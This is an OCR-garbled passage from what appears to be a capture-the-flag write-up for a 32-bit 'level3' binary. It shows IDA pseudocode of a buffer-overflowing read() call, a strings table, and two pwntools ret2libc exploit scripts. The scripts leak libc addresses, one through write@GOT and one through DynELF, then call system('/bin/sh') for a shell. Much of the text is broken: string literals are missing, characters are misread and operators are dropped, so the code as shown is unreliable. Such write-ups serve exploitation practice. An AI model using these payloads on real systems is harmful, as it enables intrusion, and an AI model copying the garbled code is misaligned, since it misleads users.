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O & %X [[F1Daviews [l Pseudocode- & | (D] Hex Wigw-1 | [A] structures | [¥] Enums | %2 Inpat
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3| char buf; M lesp+0h] [ebp-28h]
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5| writell, "Inputin®, Ful:
& return read(0, &bu’, 0x100u);
n T
b
ux
_>I_I
O 8 x

T IDA R g 3 R, & BLEvulnerable_functionif $0X BLA7 76 i H R i

B — AT AT R

unction B Instruction Data Lnexplored External syrnbaol

g X Davie.. || | [E pseudocad.. = stings wird.. @ |
2| Address |Lengih |Tw:ue |5h’ing
|[s] LoaD:0904a... 00000013 C flibfld-liree so.2
|[] LoaD:oe04E... 0o0o000a C libe 506
|z| LOaD: 03048, O000000F C IO stdin_used
|[5] LoaD:0904a... 00000003 c read
|1 LoaD:0a04a... 00000012 C __libe_start_main
|[] LoD 0904a... 00000006 C write
|z| Loen 02048, 0000000F C _ gmon_start__
|[] LoaD:oe04E... 0o0o000a C GLIBC_20
|[] rodata:oen.. 000000 C Irput: i
| '&’] rodata:020..  00000O0F C Hello, Worldhn
|51 eh_frame:0.. 00000003 c R
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2 3RExlibelfywrite bR ZCHb L
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4 3R Hsystem, A . system = libcft]system + libclw#%
53K B /bin/sh, 77 [Flsystem

exploit:

from pwn import

,57457)

write plt_addr=elf.plt[
write got_addr=elf.got|[

main_addr=elf.sym[ ]
log.success( (main_addr))

payload 140+p32(write_plt addr)+p32(main_addr)+p32(1)+p32(write_got addr)+p32(4)
p.sendlineafter( ,payload)
write addr=u32(p.recv(4))

log.success( (write_addr))

libc_offset=write_addr libc.sym[ ]
log.success( (libc_offset))

sys_addr=1ibc_offset+libc.sym[
log.success( (sys_addr))
bin_sh_addr=1libc_offset+libc.search(
log.success( (bin_sh_addr))

payload 140+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
p.sendline(payload)
p.interactive()
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E43REbss BB ?
a] LU F readelf# Ht

FREL Fbss Bt (1) Hu ki 0x0804a024
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e=ELF(‘level3’)

bss=e.bss()

[Fi] % 3K X 51 0x08042024

exploit:
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from pwn import

,57457)

read_addr=e.sym[
write addr=e.sym[
pop_ret=0x080482f1
main_addr=0x08048350

def leak(address):
payload 140+p32(write_addr)+p32(main_addr)+p32(1)+p32(address)+p32(4)
p.sendlineafter( ,payload)
data=p.recv(4)

return data

d=DynELF(leak,elf=ELF( )D)
sys_addr=d. lookup( 5
log.success( (sys_addr))

bss_addr=e.bss()
log.success( (bss_addr))

SENARCET) 140
payload+=p32(read_addr)+p32(sys_addr)+p32(0)+p32(bss_addr)+p32(8)
payload p32(bss_addr)

p.sendlineafter( ,payload)

p.sendline(

p.interactive()
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